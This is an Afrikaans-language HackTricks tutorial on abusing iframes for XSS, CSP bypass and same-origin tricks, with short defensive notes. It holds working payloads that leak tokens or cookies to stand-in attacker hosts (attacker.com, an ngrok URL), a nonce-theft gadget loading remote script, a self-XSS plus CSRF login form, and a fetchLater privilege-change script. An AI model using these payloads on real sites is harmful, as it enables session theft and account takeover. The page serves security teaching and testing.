Iframes in XSS, CSP en SOP
Reading time: 12 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Iframes in XSS
Daar is 3 maniere om die inhoud van 'n iframed bladsy aan te dui:
- Deur
src
wat 'n URL aandui (die URL kan kruis oorsprong of dieselfde oorsprong wees) - Deur
src
wat die inhoud aandui met diedata:
protokol - Deur
srcdoc
wat die inhoud aandui
Toegang tot Ouers & Kind veranderlikes
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
As jy toegang tot die vorige html via 'n http-server (soos python3 -m http.server
) verkry, sal jy opgemerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit verhinder nie). die ouer sal nie in staat wees om toegang te verkry tot die secret
var binne enige iframe nie en slegs die iframes if2 & if3 (wat as dieselfde webwerf beskou word) kan toegang verkry tot die geheim in die oorspronklike venster.
Let op hoe if4 beskou word as 'n null
oorsprong.
Iframes met CSP
tip
Let asseblief op hoe in die volgende omseilings die antwoord op die iframed bladsy geen CSP-kop bevat wat JS-uitvoering verhinder nie.
Die self
waarde van script-src
sal nie die uitvoering van die JS-kode met die data:
protokol of die srcdoc
attribuut toelaat nie.
Ehowever, selfs die none
waarde van die CSP sal die uitvoering van die iframes toelaat wat 'n URL (volledig of net die pad) in die src
attribuut plaas.
Daarom is dit moontlik om die CSP van 'n bladsy te omseil met:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Let op hoe die vorige CSP slegs die uitvoering van die inline script toelaat.
Echter, slegs if1
en if2
skripte gaan uitgevoer word, maar slegs if1
sal toegang hĂȘ tot die ouer geheim.
Daarom is dit moontlik om 'n CSP te omseil as jy 'n JS-lĂȘer na die bediener kan oplaai en dit via iframe kan laai, selfs met script-src 'none'
. Dit kan ook moontlik wees om 'n same-site JSONP-eindpunt te misbruik.
Jy kan dit toets met die volgende scenario waar 'n koekie gesteel word selfs met script-src 'none'
. Voer eenvoudig die toepassing uit en toegang dit met jou blaaskans:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Nuwe (2023-2025) CSP omseil tegnieke met iframes
Die navorsingsgemeenskap gaan voort om kreatiewe maniere te ontdek om iframes te misbruik om beperkende beleide te oorwin. Hieronder kan jy die mees noemenswaardige tegnieke vind wat gedurende die afgelope paar jaar gepubliseer is:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) â Wanneer 'n toepassing HTML reflekteer maar 'n sterk CSP script uitvoering blokkeer, kan jy steeds sensitiewe tokens lek deur 'n dangling
<iframe name>
attribuut in te voeg. Sodra die gedeeltelike markup geanaliseer is, navigeer die aanvaller se script wat in 'n aparte oorsprong loop die raam naabout:blank
en leeswindow.name
, wat nou alles bevat tot by die volgende aanhalingsteken (byvoorbeeld 'n CSRF-token). Omdat daar geen JavaScript in die slagoffer se konteks loop nie, ontduik die aanval gewoonlikscript-src 'none'
. 'n Minimale PoC is:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // â leaked value
- Nonce diefstal via same-origin iframe (2024) â CSP nonces word nie uit die DOM verwyder nie; hulle word bloot in DevTools versteek. As 'n aanvaller 'n same-origin iframe kan inbring (byvoorbeeld deur HTML na die webwerf op te laai) kan die kindraam eenvoudig
document.querySelector('[nonce]').nonce
vra en nuwe<script nonce>
nodes skep wat aan die beleid voldoen, wat volle JavaScript uitvoering moontlik maak ten spyte vanstrict-dynamic
. Die volgende gadget eskaleer 'n markup-inspuiting in XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) â 'n Bladsy wat die
form-action
riglyn omseil, kan sy aanmeldvorm herdoel van 'n ingebrachte iframe of inline HTML sodat wagwoordbestuurders outomaties inligting invul en aan 'n eksterne domein indien, selfs wanneerscript-src 'none'
teenwoordig is. Vul altyddefault-src
aan metform-action
!
Verdedigende notas (vinnige kontrolelys)
- Stuur altyd alle CSP riglyne wat sekondĂȘre kontekste beheer (
form-action
,frame-src
,child-src
,object-src
, ens.). - Moet nie staatmaak op nonces wat geheim is nieâgebruik
strict-dynamic
en elimineer inspuitingspunte. - Wanneer jy onbetroubare dokumente moet inkorporeer, gebruik
sandbox="allow-scripts allow-same-origin"
baie versigtig (of sonderallow-same-origin
as jy net script uitvoering isolasie benodig). - Oorweeg 'n verdediging-in-diepte COOP+COEP implementering; die nuwe
<iframe credentialless>
attribuut (§ hieronder) laat jou toe om dit te doen sonder om derdeparty insluitings te breek.
Ander Payloads gevind in die natuur
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Die inhoud binne 'n iframe kan aan addisionele beperkings onderwerp word deur die gebruik van die sandbox
attribuut. Standaard word hierdie attribuut nie toegepas nie, wat beteken dat daar geen beperkings in plek is nie.
Wanneer dit gebruik word, plaas die sandbox
attribuut verskeie beperkings:
- Die inhoud word behandel asof dit van 'n unieke bron afkomstig is.
- Enige poging om vorms in te dien, word geblokkeer.
- Uitvoering van skripte is verbode.
- Toegang tot sekere API's is gedeaktiveer.
- Dit verhoed dat skakels met ander blaai-kontekste interaksie het.
- Gebruik van plugins via
<embed>
,<object>
,<applet>
, of soortgelyke etikette is verbode. - Navigasie van die inhoud se topvlak blaai-konteks deur die inhoud self is verhoed.
- Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outo-fokus van vormkontroles, is geblokkeer.
Tip: Moderne blaaiers ondersteun fyn vlaggies soos allow-scripts
, allow-same-origin
, allow-top-navigation-by-user-activation
, allow-downloads-without-user-activation
, ens. Kombineer hulle om slegs die minimum vermoëns wat deur die ingebedde toepassing vereis word, toe te laat.
Die attribuut se waarde kan leeg gelaat word (sandbox=""
) om al die bogenoemde beperkings toe te pas. Alternatiewelik kan dit gestel word op 'n spasie-geskeide lys van spesifieke waardes wat die iframe van sekere beperkings vrystel.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Credentialless iframes
Soos verduidelik in this article, die credentialless
vlag in 'n iframe word gebruik om 'n bladsy binne 'n iframe te laai sonder om kredensiale in die versoek te stuur terwyl die dieselfde oorsprong beleid (SOP) van die gelaaide bladsy in die iframe gehandhaaf word.
Sedert Chrome 110 (Februarie 2023) is die funksie standaard geaktiveer en die spesifikasie word gestandaardiseer oor blaaiers onder die naam anonymous iframe. MDN beskryf dit as: â'n meganisme om derdeparty iframes in 'n splinternuwe, ephemerale stoorpartisie te laai sodat geen koekies, localStorage of IndexedDB gedeel word met die werklike oorsprongâ. Gevolge vir aanvallers en verdedigers:
- Skrifte in verskillende credentialless iframes deel steeds dieselfde topvlak oorsprong en kan vrylik via die DOM interaksie hĂȘ, wat multi-iframe self-XSS-aanvalle haalbaar maak (sien PoC hieronder).
- Omdat die netwerk credential-stripped is, gedra enige versoek binne die iframe effektief soos 'n nie-geverifieerde sessie â CSRF-beskermde eindpunte faal gewoonlik, maar openbare bladsye wat via DOM gelekt kan word, is steeds in omvang.
- Pop-ups wat uit 'n credentialless iframe ontstaan, kry 'n implisiete
rel="noopener"
, wat sommige OAuth-strome breek.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Exploit voorbeeld: Self-XSS + CSRF
In hierdie aanval berei die aanvaller 'n kwaadwillige webblad voor met 2 iframes:
- 'n iframe wat die slagoffer se bladsy laai met die
credentialless
vlag met 'n CSRF wat 'n XSS aktiveer (Stel jou 'n Self-XSS in die gebruikersnaam van die gebruiker voor):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- 'n Ander iframe wat eintlik die gebruiker ingelogde het (sonder die
credentialless
vlag).
Dan, vanaf die XSS is dit moontlik om toegang te verkry tot die ander iframe aangesien hulle dieselfde SOP het en die koekie te steel deur byvoorbeeld uit te voer:
alert(window.top[1].document.cookie);
fetchLater Aanval
Soos aangedui in this article laat die API fetchLater
toe om 'n versoek te konfigureer wat later uitgevoer sal word (na 'n sekere tyd). Daarom kan dit misbruik word om byvoorbeeld 'n slagoffer binne 'n aanvaller se sessie in te log (met Self-XSS), 'n fetchLater
versoek in te stel (om die wagwoord van die huidige gebruiker te verander byvoorbeeld) en uit te log uit die aanvaller se sessie. Dan log die slagoffer in in sy eie sessie en die fetchLater
versoek sal uitgevoer word, wat die wagwoord van die slagoffer verander na die een wat deur die aanvaller gestel is.
Op hierdie manier, selfs al kan die slagoffer se URL nie in 'n iframe gelaai word nie (weens CSP of ander beperkings), kan die aanvaller steeds 'n versoek in die slagoffer se sessie uitvoer.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
Iframes in SOP
Kyk na die volgende bladsye:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
References
- PortSwigger Research â Using form hijacking to bypass CSP (March 2024)
- Chrome Developers â Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.